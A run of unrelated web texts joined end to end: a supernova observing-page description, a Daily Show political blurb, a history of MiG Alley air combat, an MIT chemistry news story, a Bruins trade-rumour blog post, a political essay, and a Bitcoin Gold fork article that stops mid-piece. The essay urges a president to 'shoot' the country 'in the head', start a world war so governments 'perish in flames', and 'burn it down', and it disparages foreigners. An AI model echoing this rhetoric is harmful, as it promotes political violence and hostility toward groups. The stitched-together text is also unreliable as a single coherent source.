name (linked to a Photometry Reference image of that galaxy) Magnitude of SN when LAST reported (link to the source of the last report) : date of report ("maximum brightness:date of maximum" or "rising" if that information is available), Type of SN if reported. [Spectrum if possible] (Any data which reference this SN (IAUCs; VSNET; past SNe)) Any special pages dedicated to observing this SN, or a link to a sub page if enough data warrants it. If possible I will create an icon for every bright supernova. This icon will be black on a white background and mirror imaged left to right so that North is up and East is left. The exception being a color image, which will have he same orientation. All icons will be less than 100x100 pixels in size so that they load quickly. -Since the last time Jon checked in on the increasingly sprawling Republican field for President, several more also-rans joined in: cherub Tennesse Williams character Lindsey Graham, frothy SEO disaster Rick Santorum, the forgotten George Pataki, and 19th century orientalist and cartoonishly evil corporate overlord Carly Fiorina. But one, in particular, Donald Trump, really gave the Daily Show host pause. After the Donald's smug, trolly face came on screen, Stewart paused, bit his fist and exclaimed, "No, no I've made up my mind… God, maybe I'll get a twitter account." Let's hope so! In a GOP presidential race marked by increasingly goofy soundbites, The Daily Show would have no shortage of comedy gold in the coming months. Stewart even broke character for a brief moment as he looked genuinely shocked at neoconservative Lindsey Graham's casually racist assertion that Iranians are "liars". How can any comedian pass up week after week of rightwing softballs like these? Watch the video below: -Map of aerial combat in Korean War. "MiG Alley" was the name given by United Nations (UN) pilots to the northwestern portion of North Korea, where the Yalu River empties into the Yellow Sea during the Korean War. It was the site of numerous dogfights between UN fighter pilots and their opponents from North Korea (including some unofficially crewed by Soviet airmen) and the People's Republic of China. Soviet-built Mikoyan-Gurevich MiG-15 were the aircraft used during most of the conflict, and the area's nickname was derived from them. It was the site of the first large-scale jet-vs-jet air battles, with the North American F-86 Sabre. History [ edit ] 1950 [ edit ] The North Koreans began their war against South Korea on June 25, 1950 with small numbers of Soviet aircraft retained from the Second World War. These were flown by under-trained and inexperienced pilots. After the United States and its closest allies committed its air units to the UN, the North Korean People's Army Air Force (KPAAF) was rapidly depleted. For several months, propeller-engined bombers and fighters, like the B-29 and P-51 Mustang – and early jet fighters like the F-80 Shooting Star, F-84 Thunderjet and Grumman F9F Panther – flew the skies over Korea virtually unopposed. During October, the major Communist powers – China and the Soviet Union – commenced unofficial military support of North Korea. The Soviets also committed to supply North Korea and China with its latest MiG-15 fighters, and to train Korean and Chinese pilots to fly them.[citation needed] China officially entered the war in support of North Korea on October 25, 1950. While its strength in ground forces initially overwhelmed UN forces, the Chinese People's Liberation Army Air Force (PLAAF) was, at the time, small and no better equipped than the KPAAF. While the Soviet Union never officially entered the war, on 1 November 1950, the 64th Fighter Aviation Corps (64 IAK) of the Soviet Air Forces was attached to the PLAAF, under the 1st United Air Army. That same day, Soviet-piloted MiG-15s began operating over North Korea and the first clashes between MiG-15s and US aircraft occurred, when eight aircraft from the Soviet Air Forces intercepted about 15 United States Air Force P-51 Mustangs flying a ground support mission. First Lieutenant Fiodor Chizh shot down and killed Mustang pilot Aaron Abercrombie.[1] Later in the day, the first air combat between jets occurred, when three MiG-15s attacked about 10 USAF F-80s. While First Lieutenant Frank Van Sickle, in a F-80C, was killed, US records suggest that he was shot down by AA fire. First Lieutenant Semyon F. Khominich (referred to as Jominich in some sources) – was credited with a kill by the Soviet authorities.[2] On November 9, 1950, a MiG-15 was destroyed in combat for the first time, when Lieutenant Commander William T. Amen of the US Navy, in a F9F-2B Panther, shot down and killed Captain Mikhail F. Grachev.[1] In response to the deployment of MiG-15s, the UN's P-51 squadrons began to convert to jet fighters. In the case of the USAF, this was the F-86 Sabre. 49-1223. This aircraft served with the 335th F-I Squadron, 4th F-IW in Korea. It was shot down by MiGs near Wonsan on February 3, 1952; the pilot ejected. F-86A-5-NA Sabre. This aircraft served with the 335th F-I Squadron, 4th F-IW in Korea. It was shot down by MiGs near Wonsan on February 3, 1952; the pilot ejected. UN Command standing orders forbade pilots from crossing the Chinese border. On December 17, Lieutenant Colonel Bruce H. Hinton led a finger-four formation of Sabres from the 336th Fighter Squadron on a patrol, a 485-mile (780 km) round trip, along the Yalu River, in an attempt to draw the MiG pilots into combat. The Sabre pilots stayed below 475 mph (765 km/h), to create the impression on radar screens that the Sabres were a slower aircraft. The slower speed and two 120-US-gallon (450 l; 100 imp gal) drop tanks on each F-86 also provided maximum air time. Forty minutes after take-off the Sabres were approaching the Yalu at 32,000 feet (9,800 m). Four MiGs were spotted 7,000 feet (2,100 m) below the Sabres and about to pass beneath them. The Americans jettisoned their drop tanks and as the MiGs passed below, the Sabres turned to the left and dived down at the Soviet fighters. When the MiG pilots realized that their adversaries were not older jets that they could be easily extend away from, they broke formation and headed for the border. Hinton caught up to the leader's wingman, Major Yakov Efromeenko, and fired 1,500 rounds of .50 caliber bullets. Smoke belched from its jet pipe and flames enveloped the tail section. After Efromeenko ejected, the MiG crashed about 10 miles (16 km) south of the Yalu.[3] On the morning of December 22, a Sabre was destroyed by a MiG-15 pilot for the first time. Captain Lawrence V. Bach's F-86 was hit in the wing root by cannon fire from an unknown MiG pilot and Bach was captured after ejecting. That afternoon, eight Sabres from the USAF 4th Fighter-Interceptor Wing (4th F-IW), operating out of a forward base at K-14 Kimpo (Gimpo), attacked an estimated 15 MiGs at 30,000 feet (9,100 m) and pursued some to the Yalu, claiming six without loss. On January 1, 1951 a Communist offensive drove UN forces out of the Kimpo area; K-14 was overrun and the 4th F-IW was withdrawn to Japan.[4] In March 1951, the first two Sabre squadrons, from the 4th F-IW, returned to Korea, just in time to meet a new build-up of Communist air strength designed to secure air superiority over northwest Korea, in a prelude to a major ground offensive.[4] While the Australian government had attempted to order the F-86, to replace Mustangs operated in Korea by No. 77 Squadron RAAF, McDonnell-Douglas was required to prioritize re-equipping the USAF. The British Gloster Meteor F.8 was the only viable alternative. 77 Squadron on begin converting to Meteors in Japan during April 1951. USAF pilots nicknamed April 12, 1951 "Black Thursday", after 30 MiG-15s attacked three squadrons of B-29 bombers (36 planes) escorted by approximately 100 F-80s and F-84s. The MiGs were fast enough to engage the B-29s and extend away from their escorts. Three B-29s were shot down and seven more were damaged, with no casualties on the communist side.[5] Following this, USAF bomber sorties over Korea were halted for approximately three months. Bomber commanders were forced to discontinue daylight raids, and changed to night missions by small formations. In the first five months of 1951 the 4th F-IW flew 3,550 sorties and claimed 22 victories. No F-86 Sabres were shot down by MiGs, although a number were lost due to accidents.[6] On July 10, 1951 truce talks between North Korean and UN representatives opened at Kaesong. The ground forces were virtually stalemated at the 38th parallel, but in the air the two squadrons of the 4th F-IW were flying the only Sabres in the theatre.[7] Some intelligence source estimated that 500 MiGs were being operated by the 1st United Air Army.[8] Although 77 Squadron RAAF had previously operated in Korea as a ground-attack unit, many of its pilots were veterans of World War II fighter units and it was expected that the Gloster Meteor would allow it to return to its previous role of interception. With 22 Meteors, 77 Squadron was attached to the USAF's 4th F-IW at Kimpo at the end of July.[9][10] For a few weeks, MiG-15 pilots scrutinized the performance of the Meteors and used their superior speed to avoid engaging the Meteors.[11][12] The first Meteor fatalities occurred on 22 August, when two aircraft collided in mid-air as they returned to Kimpo after a sweep.[11][13] Meteor and MiG-15s pilots engaged each other for the first time on 25 August, without either side scoring hits. Four days later, eight Meteors and 16 Sabres fought 12 MiGs; one Australian ejected after his aircraft was shot down, and a second Meteor was damaged. The following week, a Meteor suffered severe damage in a dogfight with MiGs.[14][15] As a result of these losses, senior RAAF commanders decided to focus on escort and air defense sorties. [16] No. 77 Squadron pilots and their Meteors at Kunsan, South Korea, June 1954. Flight Lieutenant R. L. "Smoky" Dawson registered No. 77 Squadron's first jet combat claim when he damaged a MiG during an escort mission near Anju, North Korea, on 26 September 1951.[13][17] On 27 October, Flying Officer Les Reading was credited with damaging another MiG while covering B-29s over Sinanju; it was subsequently confirmed as having been destroyed, making it the squadron's first MiG "kill".[18][19] The squadron was awarded the Republic of Korea Presidential Unit Citation for "exceptionally meritorious service & heroism" on 1 November.[20][21] On 1 December 1951, over Sunchon, at least 20 Soviet-piloted MiGs from the 176th Guards Fighter Air Regiment (176 GvIAP) attacked a formation of 14 Meteors. Both sides apparently overestimated the scale of the battle and the damage inflicted to their opponents: while three Meteors were lost, Soviet pilots claimed nine Meteors destroyed; Australian pilots claimed one MiG shot down and another damaged, from a formation of at least forty MiGs, while Russian sources suggest that all of the MiGs returned to base and less than 25 MiGs were available to 176 GvIAP at the time.[22][23] The F86-As and F86Es of the 4th F-IW were now getting decidedly battle-worn and it was decided that the 51st Fighter-Interceptor Wing (51st F-IW) was able to commence operations from Suwon on December 1 under Colonel Francis S. "Gabby" Gabreski.[24] Nonetheless, the 4th F-IW claimed 13 MiGs in air battles on December 13.[25] On 26 December 1951, the RAAF reassigned 77 Squadron to ground attack sorties,[26][27] a role it would pursue until the end of the war. Its pilots continued to encounter MiGs and claimed two more victories over them, both in the Pyongyang area, on 4 and 8 May 1952.[28][29] By August 1952, the tide of battle above "MIG Alley" had turned in favor of the United Nations. During that month 63 MiGs were shot down for the loss of only nine Sabres. An important reason for the increasing superiority of UN air power was the new F86-F, which had been issued to two squadrons of the 51st Wing in June and July and began reaching the 4th Wing in September. This Sabre development had a more powerful J47 engine developing 5,910 lbf (26,300 N) thrust, wing shackles for 200-US-gallon (760 l; 170 imp gal) drop tanks (raising the combat radius to 463 miles or 745 kilometres) and a simplified A4 radar gun sight that was more efficient than the MkXVIII gyro sight used on most of the F86-As and easier to maintain than the rather unreliable A1CM radar sight fitted to late F86-As and Es.[30] One Meteor was shot down and another damaged by MiGs following a ground-attack mission on 2 October 1952.[31][32] No. 77 Squadron was credited with downing its last MiG southeast of Pyongyang on 27 March 1953.[33] A special fighter-bomber variant of the F86-F arrived in Korea during January 1953 – the F86-F-30 with dual stores mountings under each wing. This Sabre could carry either a 120-US-gallon (450 l; 100 imp gal) drop tank or a 1,000-pound (450 kg) bomb on the inner fittings, together with a 200-US-gallon (760 l; 170 imp gal) drop tank on each of the outboard points. The new fighter-bombers were issued to the 18th Fighter Bomber Wing, which included 2 Squadron, South African Air Force (previously a P-51 unit). In February the 8th Fighter Bomber Wing began to replace its F-80s with Sabre fighter-bombers.[30] On July 27, 1953 the ceasefire came into effect. By that time there were 297 Sabres in Korea facing an estimated 950 Sino-Korean MiGs. During the conflict the F-86 pilots claimed to have destroyed 792 MiGs in air-to-air combat for a loss of 78 Sabres — a phenomenal 10 to 1 kills-to-losses ratio. On September the defection of a MiG-15 pilot (with his aircraft) enabled US pilots to assess their erstwhile opponent at first hand. The MiG that Lieutenant No Kum-sok flew into Kimpo on September 21 was one of the later MiG-15SDs.[34] Soviet role [ edit ] Gun camera strip showing Soviet MiG-15 over Korea, April 1953. According to Budiansky, "In late March 1951, the 1st RSM (1st Radio Squadron, Mobile), still operating in Japan, picked up Russian ground controllers in voice communication with Soviet MiG fighter aircraft operating over North Korea. This became an "intelligence windfall", because "Soviet doctrine called for tight control of fighters by stations on the ground tracking the location of friendly and enemy aircraft on radar throughout the battle." These radio intercepts gave additional warning beyond the range of radar. This breakthrough in signals intelligence, centralized at a single USAFSS facility in Seoul, meant real-time listening of Russian controllers and fighters and the subsequent passing of information to U.S. pilots. "An analysis of ground control traffic in June 1952 concluded that more than 90 percent of MiGs engaged in air operations over North Korea were being flown by Russians."[35] The Soviet Union kept the participation of their aircrews in the Korean War secret for many years, though it was widely suspected by UN forces. Soviet aircraft were adorned with North Korean or Chinese markings and pilots wore either North Korean uniforms or civilian clothes, to disguise their origins. For radio communication, they were given cards with common Korean words for various flying terms spelled out phonetically in Cyrillic characters.[36] These subterfuges did not long survive the fury of air-to-air combat, however, and pilots were soon heard communicating in Russian. Soviet MiG-15 regiments were based on Chinese fields in Manchuria, where, according to existing UN rules of engagement, they could not be attacked. Many Soviet regiments underwent preliminary training at Soviet bases in the neighboring Soviet Maritime Military District. Soviet air defense troops also began to arrive along the Yalu, setting up radar installations, ground control centers, searchlights and large numbers of anti-aircraft guns to deter any attacks on the Chinese airfields. While UN pilots chafed at the restrictions imposed on attacking the MiG's Chinese airfields, it wasn't known until many years later that the MiG pilots themselves operated under tight restrictions. To preserve the impression that Soviet pilots were not fighting in Korea, they were prohibited from flying over non-Communist-controlled territory or within 30 to 50 miles (50–80 km) of the Allied front lines. One Soviet pilot who was shot down in UN-controlled territory shot himself with his pistol rather than be taken captive. Another pilot who bailed out into the Yellow Sea was strafed to prevent him from being captured. Soviet pilots were not allowed to pursue UN aircraft over the UN-controlled Yellow Sea.[37] In spite of the restrictions, many US pilots took advantage of a "hot pursuit" exception to flying over China to pursue MiGs across the Yalu River. Later, "hot pursuit" became active MiG hunting over Manchuria, with US pilots maintaining a "code of silence" about the patrols. Flight leaders chose wingmen who would keep quiet, and many rolls of incriminating gun camera footage "mysteriously" disappeared.[37][better source needed] The UN conducted Operation Moolah to entice Communist pilots, especially Soviet pilots, to defect to South Korea with a MiG-15.[citation needed] The operation was intended to gain an analysis of the MiG-15's flight performance, as well as serve a psychological purpose undermining the Soviet pilots. With the end of the Cold War Soviet participation in the Korean war became widely recognized as pilots who participated in the conflict revealed their role.[36] Aftermath [ edit ] MiG-15s curving in to attack USAF B-29s , 1951. The MiG Alley battles produced many fighter aces. The top aces were Russian. Nikolay Sutyagin claimed 21 kills, including nine F-86s, one F-84 and one Gloster Meteor in less than seven months. His first kill was the F-86A of Robert H. Laier on 19 June 1951 (listed by the Americans as missing in action), and his last was on 11 January 1952, when he shot down and killed Thiel M. Reeves, who was flying an F-86E (Reeves is also listed as MIA). Other famous Soviet aces include Yevgeni G. Pepelyayev, who was credited with 19 kills, and Lev Kirilovich Shchukin, who was credited with 17 kills, despite being shot down twice himself. The top UN ace of the war, Capt. Joseph C. McConnell, claimed 16 MiGs, including three on one day. His story featured in a film called The McConnell Story, starring Alan Ladd and June Allyson.[38] The second-highest-scoring UN ace, Maj. James Jabara, was the first UN jet-vs.-jet ace. Another ace, Frederick C. "Boots" Blesse, claimed nine MiG-15s in his F-86 Sabre[39] and later wrote No Guts, No Glory, a manual of air fighter combat that is still studied today.[37] James P. Hagerstrom claimed 8.5 kills. George Andrew Davis, Jr. became one of the first members of the new U.S. Air Force to receive the Medal of Honor after being killed while leading his section of two F-86s against 12 MiG-15s when he was trying to shoot them all down. The newly established People's Liberation Army Air Force of China also emerged seven aces. Among them, Jiang Daoping has shot down the U.S. top ace Joseph C. McConnell. Hoyt Vandenberg, the Chief of Staff of the USAF, stated that the PLAAF had become a major air power.[40] Over thirty Sabre pilots were claimed to have been shot down behind enemy lines and their fate has never been definitively established. Surviving pilots, captured and later repatriated after the armistice, reported being interrogated by Koreans, Russians, and Chinese. For years after the Korean War ended in 1953, rumours persisted of pilots held captive by the Soviets.[41] A number of computer video games based on the combat in MiG Alley have been produced, amongst them MiG Alley Ace, released by MicroProse in 1985.[42][43] See also [ edit ] List of Korean War flying aces MiG Alley (video game) – flight simulation computer game based on the air combat in MiG Alley References [ edit ] Notes [ edit ] Bibliography [ edit ] -In 2005, MIT professor Richard Schrock won the Nobel Prize in chemistry for developing catalysts for a reaction that is widely used to produce pharmaceuticals, fuels and other synthetic chemicals. That reaction, known as olefin metathesis, involves breaking and making double bonds between carbon atoms to produce new types of carbon-carbon double bonds. One limitation to the metathesis reaction is that it had not been possible to control the configuration of the olefin products, which can occur in one of two configurations. However, Schrock and his collaborator Amir Hoveyda at Boston College have now developed a catalyst that yields almost exclusively the more desirable configuration, known as cis. In a paper appearing in the Nov. 3 issue of Nature, the researchers report using their new catalyst to generate the cis form of two natural compounds that have been of great interest to scientists because of their potential as cancer drugs. They expect that the catalyst, which contains tungsten, could also be useful for controlling the configuration of hundreds of other natural products, as well as new variants of those natural compounds. “Sought by many investigators for almost two decades, this milestone achievement will be welcomed by the synthetic community as a major advance in organic synthesis,” says K.C. Nicolaou, a professor of chemistry at the Scripps Research Institute, who was not involved in this project. Lead authors of the paper are Miao Yu, a graduate student in Hoveyda’s lab, and Chenbo Wang, a postdoc at Boston College. Oxford University researchers Andrew Kyle, Pavol Jakubec and Darren Dixon are also authors of the paper. Making rings In the Nature paper, the researchers focused on synthesizing macrocycles — compounds that contain large rings of nine or more atoms. Compounds of this type often have potent biological activity, making them useful as drugs, says Hoveyda, a professor of chemistry and the principal author of the paper, in whose laboratory the organic chemistry was carried out. The researchers were able to synthesize two naturally occurring macrocycles, epothilone and nakadomarin. Epothilone, originally found in a soil-dwelling bacterium, blocks cancer cells from dividing by interfering with the cell skeleton; several variants of the compound are now in clinical trials for the treatment of cancer. Nakadomarin, first discovered in a marine sponge, has both anticancer and antimicrobial activity. Both compounds can be made in about 16 chemical steps, the last of which is a metathesis closing of the ring through formation of a double bond between two carbon atoms. Metathesis, whose mechanism was first proposed by Yves Chauvin in 1971, requires a catalyst — a special compound that consists of a metal atom attached to one or more organic structures known as ligands. In 1986, Schrock, now MIT’s Frederick G. Keyes Professor of Chemistry developed the first catalyst that could perform this reaction. Chauvin and Schrock shared the 2005 Nobel Prize for chemistry with Robert Grubbs, who later developed different catalysts for metathesis that contain ruthenium. When each of the two carbon atoms in the double bond has another carbon atom attached to it, the attached carbons can point in the same direction (the cis configuration) or in opposite directions (the trans configuration). The cis configuration is found in most naturally occurring compounds. Hoveyda speculates that the cis configuration might be better able to interact with biological structures such as cell receptors, or is better able to cross the cell membrane. Unfortunately, most metathesis reactions produce a mixture of cis and trans, with trans usually predominating (up to 80 percent). Mixtures of cis and trans products are very difficult to separate. ‘An efficient solution’ The team’s new catalyst steers the reaction toward predominantly the cis form due to the size and shape of one of the ligands attached to the metal in the catalyst. This ligand is so large and bulky that it prevents any carbon atoms attached to the intermediate in the reaction from pointing toward it, forcing them into a cis configuration. Using this catalyst, the researchers were able to generate the cis configuration of epothilone and nakadomarin more than 95 percent of the time. “It turns out to be a surprisingly efficient solution, but nobody’s ever done it before,” Schrock says. Another advantage of the tungsten catalyst is that tungsten is much more abundant than ruthenium, which is a precious metal used in other, more popular metathesis catalysts. Ruthenium’s worldwide annual production is only about 12 tons, and one kilogram costs about $10,000. In contrast, about 60,000 tons of tungsten are produced worldwide per year, at a cost of about $50 per kilogram. Schrock and Hoveyda have started a company called XiMo to work with clients, particularly companies that synthesize drugs or other chemicals such as polymers, pesticides and fragrances, to develop new catalysts to make their production processes more efficient. -Following the trade deadline there was much speculation and criticism over the moves, or lack thereof, of Peter Chiarelli. And in hindsight it was well deserved, as Andrez Meszaros and Corey Potter proved to be not enough on the backend—the duo rarely surpassed Matt Bartkowski on the depth chart, as Mezsaros appeared in four games, and Potter only one. Soon after the deadline, Bruins’ President Cam Neely revealed on 98.5 The Sports Hub’s Felger and Mazz radio show that a deal was in the works, but ultimately fell through at the last minute. "We were in on something else that we felt would have been good for us if it could’ve gotten accomplished, but it wasn’t entirely in our control in that regard… I think it may potentially have laid some groundwork for the future. But again, you have to have a dance partner… We had a deal in principle that was predicated on another team getting something done." The Boston Globe’s Fluto Shinzawa wrote the following morning that the "deal in principle" was for the Canucks’ Alexander Edler, reporting that the deal was contingent on Ryan Kesler being traded to the Pittsburgh Penguins. Had the trade gone through, the Bruins likely would’ve had to give up at least two high prospects (Bartkowski/Spooner/Khokhlachev), and likely a draft pick. Chiarelli noted that the negotiations weren’t a total loss, as he was able to "lay some groundwork", and that it would be revisited during the off-season. Flash-forward nearly three months to the day, and there’s one major variable PC may not have seen coming: former Bruins’ Assistant GM is now the general manager of the Vancouver Canucks, replacing Mike Gillis at the end of May. So what ripple effect does this have for the future of the Bruins blue line, you ask? First off, let’s look at a couple major factors. We’ll start with Edler’s current contract. SEASON AHL SALARY NHL SALARY P. BONUSES S. BONUS AAV CAP HIT 2013-14 $3,250,000 $3,250,000 $0 $1,000,000 $5,000,000 $5,000,000 2014-15 $4,250,000 $4,250,000 $0 $2,000,000 $5,000,000 $5,000,000 2015-16 $6,000,000 $6,000,000 $0 $3,000,000 $5,000,000 $5,000,000 2016-17 $6,000,000 $6,000,000 $0 $3,000,000 $5,000,000 $5,000,000 2017-18 $6,000,000 $6,000,000 $0 $0 $5,000,000 $5,000,000 2018-19 $4,500,000 $4,500,000 $0 $0 $5,000,000 $5,000,000 2013-14 was the first season of a six year, $30M deal for Alex Edler. The $5 million annual cap hit would put him second on the Bruins, in front of Johnny Boychuk and Dennis Seidenberg. It would also give him the longest term of any defenseman on the team by two years, with Zdeno Chara and Seidy both up at the end of the 2017-18 season. Edler just turned 28, younger than Johnny Boychuk and only about six months older than both Adam McQuaid and Kevan Miller. He would just be turning 33 at the end of the contract, giving you the prime of his career at a reasonable price. Next, how about we take a look at his production in his seven full seasons in the NHL. SEASON TEAM GP G A P +/- PIM PPG SHG GWG S S% 2007-08 CANUCKS 75 8 12 20 6 42 4 0 0 124 6.4 2008-09 CANUCKS 80 10 27 37 11 54 5 0 1 145 6.9 2009-10 CANUCKS 76 5 37 42 0 40 2 0 0 161 3.1 2010-11 CANUCKS 51 8 25 33 13 24 5 0 1 121 6.6 2011-12 CANUCKS 82 11 38 49 0 34 5 1 0 228 4.8 2012-13 CANUCKS 45 8 14 22 -5 37 5 0 0 113 7.1 2013-14 CANUCKS 63 7 15 22 -39 50 4 0 0 178 3.9 NHL TOTALS 494 58 170 228 -11 287 30 1 2 1,080 5.4 While Edler is statistically a career minus player, last year was clearly the anomaly. Following the trade of Roberto Luongo at the deadline, Edler had a plus rating in just two of his final 19 games played, a -14 rating over that same span. Not that being -25 prior to the trade was much better, but in a year where Vancouver finished third-worst in the West, it can be chalked up to a down year. Offensively numbers were down as well, with his lowest PPG average since his rookie season. His primary points were down by shooting percentage was also at its lowest in four seasons. But his track record shows a different story. Among the four Canucks’ defenseman with 5000+ minutes played since 2008—the other three being Bieksa, Hamhuis, and Garrison—Edler has the best Corsi and Fenwick ratings both 5-on-5 and on the penalty kill, and is 2nd on the team on the man advantage. In comparison with the Bruins, he is right in line with Johnny Boychuk and Zdeno Chara, the B’s leading defenseman in the same categories over that time-span. Even Strength: # Player Name Team TOI G A FirstA Points Shots iFenwick60 iCorsi60 1 EDLER, ALEXANDER Vancouver 6457:21 19 69 29 88 568 7.879 11.856 2 BIEKSA, KEVIN Vancouver 6442:08 20 72 27 92 542 7.507 11.018 # Player Name Team TOI G A FirstA Points Shots iFenwick60 iCorsi60 1 BOYCHUK, JOHNNY Boston 5266:40 18 44 24 62 548 8.841 12.680 2 CHARA, ZDENO Boston 8067:27 28 96 49 124 764 7.832 11.864 Penalty Kill: # Player Name Team TOI G A FirstA Points Shots iFenwick60 iCorsi60 1 EDLER, ALEXANDER Vancouver 781:45 1 0 0 1 21 1.919 2.072 2 HAMHUIS, DAN Vancouver 1243:50 1 3 3 4 24 7.507 1.495 # Player Name Team TOI G A FirstA Points Shots iFenwick60 iCorsi60 1 BOYCHUK, JOHNNY Boston 670:12 0 4 2 4 16 2.149 2.596 2 CHARA, ZDENO Boston 1233:56 1 7 4 8 40 2.431 2.577 [source: stats.hockeyanalysis.com] All these numbers and figures probably have you thinking, "Yeah, we could use a young puck-moving defenseman with a good numbers." But here’s the thing... You don’t want Alexander Edler on the Bruins. First of all, Edler’s cap hit might be reasonable once the salary cap increases in a few years, but with Jarome Iginla’s cap penalty on the books for next season, the B’s are assumed to be docked around $4.5 million, bringing their projected 2014-15 salary cap down from $71M to $66.5M. Even with Savard’s money on LTIR, Edler would put the Bruins against the cap, forcing them to make significant moves (trades or contract buyouts) before signing their own free agents. His $5M cap hit is comparable to Keith Yandle, who would give you much more bang for your buck. When seeking a puck-moving defenseman, don’t forget the embarrassment of blue line riches the Bruins currently have under their belt. Not only does Boston have Dougie Hamilton under contract as he steadily grows in all facets of the game, but they have Torey Krug and Matt Bartkowski in their RFA years. Assuming they give Krug a multi-year deal and sign Bart to a qualifying offer, that’ll give the big club eight defenseman. In the system, they have David Warsofsky, Zach Trotman, Joe Morrow, and the newly signed Linus Arnesson. While Arnesson is more of a lock-down defenseman, Morrow, Warsofsky and Trotman have an offensive skillset, as the three combined for 85 points in their collective 165 games played in the minors last season. Joe Morrow, who came over in the Tyler Seguin deal, is the most highly-touted prospect, while David Warsofsky—also currently an RFA—is the most NHL-ready, as he appeared in six games with the Boston during the regular season (1G, 1A, +1), and followed that up with a great showing in the Calder Cup Playoffs with 9 points in 12 games. Regardless of the defensive prospects possibly ready to make the jump, the trade for Edler was rumored to cost the Bruins’ a couple highly valued forward prospects. Both Ryan Spooner and Alexander Khokhlachev were in the reported package headed to Vancouver. Koko led the P-Bruins in 2013-14 in points during the AHL regular season, and led the team with 9 goals in 12 games during the Calder Cup Playoffs. Spooner, who had 11 assists in 23 games with Boston, had the highest point-per-game percentage with Providence (.938) during the regular season, and led the team with 15 points in 12 playoff games. Either Khokhlachev or Spooner—or both—could be a welcome addition to the big club, giving a new look and added speed to the Bruins 3rd and 4th lines in 2014-15. The main issue with the Edler trade isn’t the player himself. It’s the position and style. Between current D-men, both on the team and in the system, the Bruins have very good puck movers on their blue line; Zdeno Chara, Torey Krug, Dougie Hamilton and Johnny Boychuk all tallied more points than Edler. But aside from the strength of Kevan Miller, Dennis Seidenberg and Zdeno Chara, they have a slender defensive core. A skater heavy on the puck who has awareness in his own zone is a much bigger need. And Edler defensively isn’t enough to put the Bruins over the top. So if not Edler, who? Hint: Stay in the Canucks’ division. Mark Giordano would be the ideal candidate, as he brings solid offensive touch while staying responsible in his zone. He led the Flames with a 12+ rating in 2013-14 despite the team goal differential being an abysmal -32. He’s skated alongside Jarome Iginla for five seasons, and both would be vying for their elusive first Stanley Cup. His presence would be welcomed both on and off the ice, as he could complement Johnny Boychuk or Dennis Seidenberg for a lock-down 2nd defensive pairing. Giordano has two years remaining on his contract at $4.02 million per year, so he’s cheaper than Edler, which could potentially lower the cost of the assets shipped out. In both zones, he’s more consistent, and his production has had a bigger upside than Edler’s over the last few seasons. A. Edler M. Giordano But enough of the armchair GM talk. What about Jim Benning? In all likelihood, Benning being in Vancouver hurts the chances of an Edler trade. There are two logical reasons for this. First, from what Behind The B showed us last season, Jim Benning was a key voice in the Bruins’ front office in regards to the Tyler Seguin trade. Assuming this wasn’t a one-time occurrence, it seems that Benning was and had been heavily involved in trade negotiations alongside Chiarelli. Odds are he was a facilitator leading up to the deadline, and there’s a good chance that Benning wanted Edler on his team. Now that Jim has him, why give Edler up? Remember, the Canucks may have been sellers last season due to their record, but if they can get their goaltending situation figured out, there’s plenty of firepower in their arsenal to make them a playoff threat in the West next season. Dumping Edler would hurt that cause. Secondly, a deal with his former team in his first season would require Benning to undoubtedly win the trade. Benning would be shipping out a Top 4 defenseman just one year after the Canucks signed him to a mutli-year contract, and therefore would have to make the return not only fair, but great. Otherwise he runs the risk of being accused of hooking up his old pals in Boston on the cheap. To make matters worse, Benning knows the prospects in the Bruins system, so he won’t be fooled by any throw-ins Peter Chiarelli might try to claim are diamonds in the rough. He’ll likely want the same package proposed in March, if not more. If you are a Bruins fan that wanted Alexander Edler, then Jim Benning as the Canucks’ GM is bad news. But if you’re a Bruins fan that wants a better team next year, with many of their new, young talent intact, the "trade that never was" may just have been a blessing in disguise. Then again, you can’t deny those dance moves. -by Brett Stevens on April 22, 2016 When the patient has no hope, we enter palliative care. Sedatives and painkillers abound. Food and water are withdrawn, to allow the body to exit with grace. When that moves too slowly, ever-increasing doses of morphine are administered. At some point, the soul flies away and the gasping corpse returns to the earth. We are at that point with America (and come to think of it, Europe, too). These were groups of people, but they were replaced by governments — by their own hands, I might add. The politicians offered benefits like merchants offer discounts, and We The People leapt for the freebie. Then they found out that the cost was the creation of a USSR-style permanent bureaucracy that determined who would succeed and who would fail on the basis of ideology. America was designed around the idea that democracy could be constrained by rules on paper. If we cannot have the best leading us, we can plan for an average equal robot-citizen to take the role, and put enough rules in there to keep him from doing damage. Or could we? The history of America shows that this approach has failed. It is time to put the dying beast out of its misery. Its purpose long ago destroyed, it survives from lack of anything else to do. But having no direction, it merely lingers in boredom and complaint to the point that it does not even fear death. This is not life; it is living death. Release it! Government is not the nation. The nation is the nation: the people, their genetics, their culture and values. In saner times, we avoided government and had kings instead, people drawn from the nation who showed the best of its traits, and could lead it to excellence. But that hurt snowflake feelings: not everyone can be excellent. It took them almost two centuries, but in 1968 the destroyers won. They did not want a nation. They wanted a jobs program with some kind of talking competition in which unexceptional people could become important just for destroying things and justifying it in creative ways. At that point, America the organism died, and was replaced by Amerika the zombie-robot-ideology. Ever since that time, it has been miserable to live here. Jobs have replaced purpose, politics has replaced thinking, and a string of foreigners have replaced the people. Mr. Trump, please do the right thing. Put this terminal patient to rest. Shoot it in the head. Declare a world war for transgender rights and ensure that the governments of USA and the EU perish in flames so that we do not have to watch the long slow decay to Brazil 2.0. Ruin government, so we can rebuild. The remnant is out here. But they are paralyzed until the power falls. Burn it down, tear it down. Make America Go Away (MAGA). Send the EU to the fires of Hades. Smash all that is rotten and dead, and cover the earth in ash so something new can grow. Anything is better than this. Tags: america, collapse, decay, decline, donald trump, european union Please enable JavaScript to view the comments powered by Disqus. -Another Fork? Bitcoin Gold Project Plans to Fork Bitcoin Next Month After the hard fork on August 1 that produced Bitcoin Cash, many bitcoiners have been waiting for the possibility of a fork taking place this November with the Segwit2x plan. However, a lot of bitcoin proponents don’t know about another fork called “Bitcoin Gold” (BTG) that’s scheduled to take place on October 25th. Also read: Japan’s Financial Authority to Begin Bitcoin Exchange Surveillance Next Month Bitcoin Gold Plans to Fork Bitcoin and Change the Consensus Mechanism Yes, you read that correctly bitcoin enthusiasts might see another hard fork this October that produces another token called Bitcoin Gold. The project first announced on Bitcointalk.org in July was created by Jack Liao, the founder of Lightning ASIC a mining firm based out of Hong Kong and an anonymous developer named “h4x3.” The forked protocol aims to change bitcoin’s consensus algorithm allowing users to mine the currency with graphic processing units (GPU) among other changes. According to the development team, Bitcoin Gold will use the Equihash algorithm used by the altcoin Zcash rather than bitcoin’s original SHA256. “Bitcoin Gold implements the UAHF (User Activated Hard Fork) proposal to accept GPU mining,” explains the website archive. 